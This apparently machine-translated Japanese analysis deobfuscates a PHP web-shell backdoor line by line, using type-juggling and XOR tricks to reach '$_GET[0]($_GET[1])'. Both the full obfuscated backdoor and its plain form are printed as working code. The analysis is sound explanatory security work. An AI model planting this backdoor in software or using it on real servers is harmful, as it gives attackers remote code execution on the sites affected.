悪意のあるコード自体は次のとおりです
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
だから、行に:
@ $ _ [] = @!+ _; -$ _配列を初期化し(エラー出力を削除)、配列に要素を追加します。配列は空なので、要素のインデックスは0になります。 _ PHPはそれを定数と見なし、当然それを見つけません。したがって、 _記号を文字列(1) "_"と見なします。 +演算子はこの文字列を数値型(0)にキャストし、次に否定を受け取ります。これにより、数値がブール型に変換され、否定によって配列内の唯一の要素が得られます。
array(1) {
[0]=>
bool(true)
}
ビットシフト@ $ {_} >> $ _は(int)0を与えます 。
それは真実に近づいていません:
@$arrArray[]=@!+_; $var2=0; $arrArray[]=$var2; $arrArray[]=@_; $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
少なくとも、ソースの行数を減らすことができます。
$var2=0; $arrArray = array(true, 0, "_"); $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
((++ $ var2)+($ var2 ++)) -これは彼らが貧弱なインタビューで好きなことです。 結果は2なので、 $ arrArrayは次の形式になります。
$ arrArray = array(true、0、 "_Array");
文字列と配列を連結すると、 "_ Array"になりました -これらは、PHPの型変換の機能です。
配列にもう1つの要素を追加します。
$arrArray = array(true, 0, "_Array", 3); $var2=3; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
$ arrArray [-$ var2] [$ var2 >> $ var2] -配列の2番目の要素から最初の文字を取得する必要があります。 取得するもの:
$arrArray = array(true, 0, "_Array", 3, "_"); $var2=2; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
繰り返しますが、あなたはマニュアルに登らなければなりません:
4 + true = 5
6 + true = 7
5.7 = "57"
取得するもの:
$arrArray = array(true, 0, "_Array57", 3, "_"); $var2=2; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
おそらく終わりに近づいています。 次の行を解読します。
$ arrArray [4] =($ arrArray [2] [0])。($ arrArray [2] [2] ^ $ arrArray [2] [6]);
これはと同じです
$ arrArray [4] = "_"。( "r" ^ "5");
もう1行削除します。
$arrArray = array(true, 0, "_Array57", 3, "_G"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
次のコード行についても同様です。
$ arrArray [4]。=($ arrArray [2] [7])^($ arrArray [2] [2]);
取得するもの:
$ arrArray [4]。= "7" ^ "r";
要約すると:
$arrArray = array(true, 0, "_Array57", 3, "_GE"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
多くの人がすでに推測しているように、別のコード行を難読化解除した後、私たちを待っていることは誰もが愛しています_GET :
$arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
正直なところ、この瞬間、私はst迷に陥りました。 行$ arrArray = $で、改行しないスペースと、変数の名前である別のUnicodeを探しました。 しかし、もちろん、すべてが思ったよりも簡単です。インタープリターは空白を無視し、完全に理解できるものを取得します。
$arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$$arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
少し噛んだら:
$arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$_GET ; $arrArray[@-_]($arrArray[@!+_] );
実際、バックドア全体が1行になりました。
$_GET[0]($_GET[1] );
これで、このスクリプトが何をどのように行うかを正確に知ることができ、「boolean magic」などのあいまいな説明なしでユーザーに実行できます。